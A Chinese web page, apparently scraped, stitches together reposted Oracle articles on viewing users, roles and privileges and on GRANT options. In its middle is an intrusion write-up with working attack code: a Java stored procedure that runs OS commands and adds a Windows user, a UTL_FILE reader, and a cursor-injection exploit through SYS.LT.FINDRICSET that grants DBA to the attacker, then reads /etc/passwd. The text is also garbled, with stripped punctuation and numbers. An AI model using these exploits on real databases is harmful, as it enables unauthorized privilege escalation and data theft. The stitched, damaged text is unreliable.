1.查看所有用戶:
創(chuàng)新互聯(lián)建站是網(wǎng)站建設(shè)技術(shù)企業(yè),為成都企業(yè)提供專業(yè)的做網(wǎng)站、網(wǎng)站制作,網(wǎng)站設(shè)計(jì),網(wǎng)站制作,網(wǎng)站改版等技術(shù)服務(wù)。擁有十余年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制適合企業(yè)的網(wǎng)站。十余年品質(zhì),值得信賴!
select * from dba_users;
select * from all_users;
select * from user_users;
2.查看用戶或角色系統(tǒng)權(quán)限(直接賦值給用戶或角色的系統(tǒng)權(quán)限):
select * from dba_sys_privs;
select * from user_sys_privs;
3.查看角色(只能查看登陸用戶擁有的角色)所包含的權(quán)限
sqlselect * from role_sys_privs;
4.查看用戶對(duì)象權(quán)限:
select * from dba_tab_privs;
select * from all_tab_privs;
select * from user_tab_privs;
5.查看所有角色:
select * from dba_roles;
我們經(jīng)常談及Oracle的權(quán)限 比如Connect DBA resource sysdba select any table select_catelog_role這樣一些權(quán)限 讓我們眼花繚亂的 那么如何來(lái)區(qū)分這些種類繁多的privilege中不至于眼迷離呢 這個(gè)文章將會(huì)對(duì)你在這方面的了解起到幫助
以上我們看到的這些權(quán)限 都是可以通過(guò)grant語(yǔ)句來(lái)進(jìn)行權(quán)限賦予 同時(shí)也可以用過(guò)revoke來(lái)進(jìn)行權(quán)限收回的操作的 但是 他們雖然都在grant里出現(xiàn) 但是有各自有著本質(zhì)的不同
oracle里的權(quán)限有兩種權(quán)限 系統(tǒng)權(quán)限和對(duì)象權(quán)限 所謂系統(tǒng)權(quán)限 就是oracle里已經(jīng)hardcode寫死的權(quán)限 這些權(quán)限 我們是不能自己去擴(kuò)展的 比如上面提到的select any table create any table create table等 這里的權(quán)限已經(jīng)在oracle里全部規(guī)定好了
我們可以通過(guò)查看system_privilege_map這個(gè)數(shù)據(jù)字典表來(lái)查看所以的oracle系統(tǒng)內(nèi)置的權(quán)限
SQL select * from system_privilege_map;
PRIVILEGE NAME?????????????????????????????????????? PROPERTY
ALTER SYSTEM?????????????????????????????????????
AUDIT SYSTEM?????????????????????????????????????
CREATE SESSION???????????????????????????????????
ALTER SESSION????????????????????????????????????
RESTRICTED SESSION???????????????????????????????
這里就是所有的內(nèi)置的系統(tǒng)權(quán)限了 其實(shí)如果有開(kāi)發(fā)過(guò)權(quán)限系統(tǒng)的經(jīng)驗(yàn)的話 對(duì)這里的這個(gè)概念 可以理解為function permission 也就是你可以進(jìn)行哪些操作
這里特別提到一個(gè)另外的知識(shí)點(diǎn) 有網(wǎng)游朋友問(wèn)過(guò)我 create any table和create table有什么區(qū)別 create table只能老老實(shí)實(shí)的給自己的scheam創(chuàng)建表 而不能以create table otherschema tablename這樣的方式給其他的schema創(chuàng)建表 額外提到這點(diǎn) 有很多朋友這塊還是模糊的
oracle通過(guò)數(shù)據(jù)字典表dba_sys_privs這個(gè)表來(lái)記錄user被賦予的系統(tǒng)權(quán)限 比如
我們現(xiàn)在執(zhí)行
SQLgrant select any table to test ; 把select any table的權(quán)限賦予test 這個(gè)用戶
Grant succeeded
SQL select * from dba_sys_privs where grantee = TEST ;
GRANTEE??????????????????????? PRIVILEGE??????????????????????????????? ADMIN_OPTION
TEST ????????????????????????? SELECT ANY TABLE???????????????????????? NO
這里就可以查詢到這個(gè)記錄了 admin_option表示的是是否有把當(dāng)前這個(gè)系統(tǒng)權(quán)限grant給其他用戶的意思 yes 表示test 除了自己有這個(gè)權(quán)限 還可以把這個(gè)權(quán)限賦予其他用戶 N就是沒(méi)有g(shù)rant的權(quán)限了
我們可以用一下語(yǔ)句試試
SQL grant select any table to test with admin option;
Grant succeeded
在來(lái)看看剛才的記錄
GRANTEE??????????????????????? PRIVILEGE??????????????????????????????? ADMIN_OPTION
TEST ????????????????????????? SELECT ANY TABLE???????????????????????? YES
現(xiàn)在test 就可以賦予select any table給別的用戶了
下面我們看看object permission 其實(shí)這里已經(jīng)名字就可以區(qū)分開(kāi)了 這里是針對(duì)于特定的對(duì)象的權(quán)限 上面的系統(tǒng)權(quán)限是限定了可以操作的功能 而object permission就更細(xì)化了 具體到了莫個(gè)對(duì)象你可以操作的功能的權(quán)限
比如 A用戶建立了一個(gè)TableA表 現(xiàn)在為了讓B用戶可以看到A這個(gè)對(duì)象 我們就可以把A table的select權(quán)限 進(jìn)行賦予 這里的A table上的select權(quán)限就是一個(gè)對(duì)象權(quán)限
除了select 還有update delete insert alter drop index references這樣正對(duì)于對(duì)象的權(quán)限
除了可以給表對(duì)象指定對(duì)象權(quán)限外 view sequence procedure function package triggger MV等這些oracle里的對(duì)象都可以進(jìn)行對(duì)象的權(quán)限指定
對(duì)于對(duì)象權(quán)限來(lái)說(shuō) 由于對(duì)象權(quán)限完全是動(dòng)態(tài)的 在對(duì)一個(gè)對(duì)象進(jìn)行g(shù)rant的時(shí)候 才能看到具體的對(duì)象權(quán)限 所以對(duì)象權(quán)限是不像system privilege那樣有一個(gè)表來(lái)描述的 只有一個(gè)表來(lái)記錄用戶和這個(gè)用戶對(duì)于的對(duì)象權(quán)限的關(guān)系表 這個(gè)表就是dba_tab_privs;
這里這個(gè)名字比較容易讓人誤會(huì)為只有table的對(duì)象權(quán)限 其實(shí)不然 這里其他類型的對(duì)象的對(duì)象權(quán)限也會(huì)記錄進(jìn)來(lái)
實(shí)驗(yàn)一下 還是剛才的test 用戶 我現(xiàn)在把對(duì)象dbms_xplan的execute的權(quán)限給他 dbms_xplan這個(gè)有些朋友可能不熟悉 這是執(zhí)行計(jì)劃有關(guān)的一個(gè)對(duì)象 朋友們?nèi)绻麤](méi)有安裝執(zhí)行計(jì)劃的包 可以用dbms_output對(duì)象做實(shí)驗(yàn)
SQLgrant execute on dbms_xplan to test ;
SQLgrant execute on dbms_output to test ;
SQL select * from dba_tab_privs where grantee = TEST ;
GRANTEE??????????????????????? OWNER????????????????????????? TABLE_NAME???????????????????? GRANTOR??????????????????????? PRIVILEGE??????????????????????????????? GRANTABLE HIERARCHY
TEST ????????????????????????? SYS??????????????????????????? DBMS_XPLAN???????????????????? SYS??????????????????????????? EXECUTE????????????????????????????????? NO??????? NO
TEST ????????????????????????? SYS??????????????????????????? DBMS_OUTPUT??????????????????? SYS??????????????????????????? EXECUTE
這里注意和fuanction 不同的 這里有一個(gè)GRANTABLE的字段 意味和上面admin option一樣的作用
不過(guò)這里的sql不同了
SQLgrant execute on dbms_xplan to test with grant option;
這里是oracle里的權(quán)限了
不過(guò)有的人可能會(huì)問(wèn)道 咦 你是不是漏掉了 不是我們還可以
grant connect resource dba to username;嗎 那她們都是什么權(quán)限呀
在這里就要注意了 這里的connct resource dba都不是權(quán)限 而是一個(gè)role 角色 一個(gè)角色是 個(gè)或者多個(gè)系統(tǒng)權(quán)限或者對(duì)象權(quán)限的集合 是便于我們管理用戶賦權(quán)而演化而來(lái)的 這里的create role和賦予role權(quán)限我們就不詳談了 朋友們可以自己查一查相關(guān)資料 role是我們可以動(dòng)態(tài)建立的 建立的role可以用grant來(lái)賦予權(quán)限 或者把一個(gè)role賦予另一個(gè)role
我們可以通過(guò)dba_roles這個(gè)表來(lái)查詢系統(tǒng)里所有的role
SQL select * from dba_roles;
ROLE?????????????????????????? PASSWORD_REQUIRED
CONNECT??????????????????????? NO
RESOURCE?????????????????????? NO
DBA??????????????????????????? NO
SELECT_CATALOG_ROLE??????????? NO
EXECUTE_CATALOG_ROLE?????????? NO
DELETE_CATALOG_ROLE??????????? NO
我們可以把role的賦予一個(gè)用戶
比如
SQLgrant select_catalog_role to test ;
我們可以通過(guò)dba_role_privs來(lái)查詢相關(guān)用戶的role的賦予 比如
SQL select * from dba_role_privs where grantee = TEST ;
lishixinzhi/Article/program/Oracle/201311/16827
很快便連接上oracle服務(wù)器 此時(shí)發(fā)現(xiàn)
連接后不是dba權(quán)限
不能利用SYS DBMS_EXPORT_EXTENSION GET_DOMAIN_INDEX_TABLES漏洞提升權(quán)限
運(yùn)行SELECT UTL_HTTP request( ) FROM dual 后發(fā)現(xiàn)oracle服務(wù)器不能連接網(wǎng)絡(luò)
幸運(yùn)的是
運(yùn)行
create or replace function Linx_Query (p varchar ) return number authid current_user is begin execute immediate p; return ;end;
成功!這個(gè)用戶具有create proceduce權(quán)限
此時(shí)馬上想到創(chuàng)建java擴(kuò)展執(zhí)行命令
create or replace and pile java source named LinxUtil as import java io *; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime getRuntime() exec(args) getInputStream() ) ); String stemp str= ;while ((stemp = myReader readLine()) != null) str +=stemp+ ;myReader close();return str;} catch (Exception e){return e toString();}}}
begin dbms_java grant_permission( PUBLIC SYS:java io FilePermission execute );end;
create or replace function LinxRunCMD(p_cmd in varchar ) return varchar as language java name LinxUtil runCMD(java lang String) return String
select * from all_objects where object_name like %LINX%
grant all on LinxRunCMD to public
select LinxRunCMD( cmd /c net user linx /add ) from dual
但是在第一步就卡住了 服務(wù)器由于某種未知原因 不能創(chuàng)建java擴(kuò)展!!
還好 我們還有UTL庫(kù)可以利用
create or replace function LinxUTLReadfile (filename varchar ) return varchar is
fHandler UTL_FILE FILE_TYPE;
buf varchar ( );
output varchar ( );
BEGIN
fHandler := UTL_FILE FOPEN( UTL_FILE_DIR filename r );
loop
begin
utl_file get_line(fHandler buf);
DBMS_OUTPUT PUT_LINE( Cursor: ||buf);
exception
when no_data_found then exit;
end;
output := output||buf||chr( );
end loop;
UTL_FILE FCLOSE(fHandler);
return output;
END;
UTL_FILE_DIR需要先用
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS /etc ;
指定目 但運(yùn)行后發(fā)現(xiàn)沒(méi)有權(quán)限 只好想辦法提權(quán)
***************游標(biāo)注射***************
老外寫了N個(gè)pdf介紹這技術(shù) 我精簡(jiǎn)了代碼
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL OPEN_CURSOR;
DBMS_SQL PARSE(MYC declare pragma autonomous_transaction; begin execute immediate GRANT DBA TO linxlinx_current_db_user ;mit;end; );
DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);
BEGIN SYS LT FINDRICSET( ||dbms_sql execute( ||MYC|| )|| )– x ); END;
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);
WHEN OTHERS THEN DBMS_OUTPUT PUT_LINE( Cursor: ||MYC);
END;
運(yùn)行后重新連接就有dba權(quán)限了 簡(jiǎn)單吧……
現(xiàn)在可以讀取文件了
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS /etc ;
select LinxUTLReadfile( passwd ) from dual
lishixinzhi/Article/program/Oracle/201311/16747
1、系統(tǒng)權(quán)限的授予權(quán)獲得
在獲得一個(gè)系統(tǒng)權(quán)限的同時(shí)選擇WITH ADMIN OPTION從句。
例: grant Create any view to scott WITH ADMIN OPTION;
2、對(duì)象權(quán)限的授予權(quán)獲得
在獲得一個(gè)系統(tǒng)權(quán)限的同時(shí)選擇WITH ADMIN OPTION從句。
例:grant Select on emp to Myuser WITH GRANT OPTIION;
3、對(duì)于用戶自身對(duì)象的對(duì)象授予權(quán)限沒(méi)有必要獲得,可以直接授予其他用戶。
4、user2獲得user1所有表的權(quán)限有兩種方法實(shí)現(xiàn):
a) 登入user1用戶,把表的Select權(quán)限一個(gè)一個(gè)授予user2.
b) 登入DBA用戶權(quán)限授予suer2用戶Select Any權(quán)限。
例:Grant Select Any Table to user2; --這樣獲得是所有用戶表的Select權(quán)限。
查看用戶系統(tǒng)權(quán)限:\x0d\x0aselect * from dba_sys_privs;\x0d\x0aselect * from session_privs;\x0d\x0aselect * from user_sys_privs;\x0d\x0a查看用戶對(duì)象權(quán)限:\x0d\x0aselect * from dba_tab_privs;\x0d\x0aselect * from all_tab_privs;\x0d\x0aselect * from user_tab_privs;
當(dāng)前文章:oracle怎么獲取權(quán)限 oracle的權(quán)限
分享路徑:http://aaarwkj.com/article32/hhhhpc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供小程序開(kāi)發(fā)、關(guān)鍵詞優(yōu)化、品牌網(wǎng)站制作、營(yíng)銷型網(wǎng)站建設(shè)、App開(kāi)發(fā)、建站公司
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容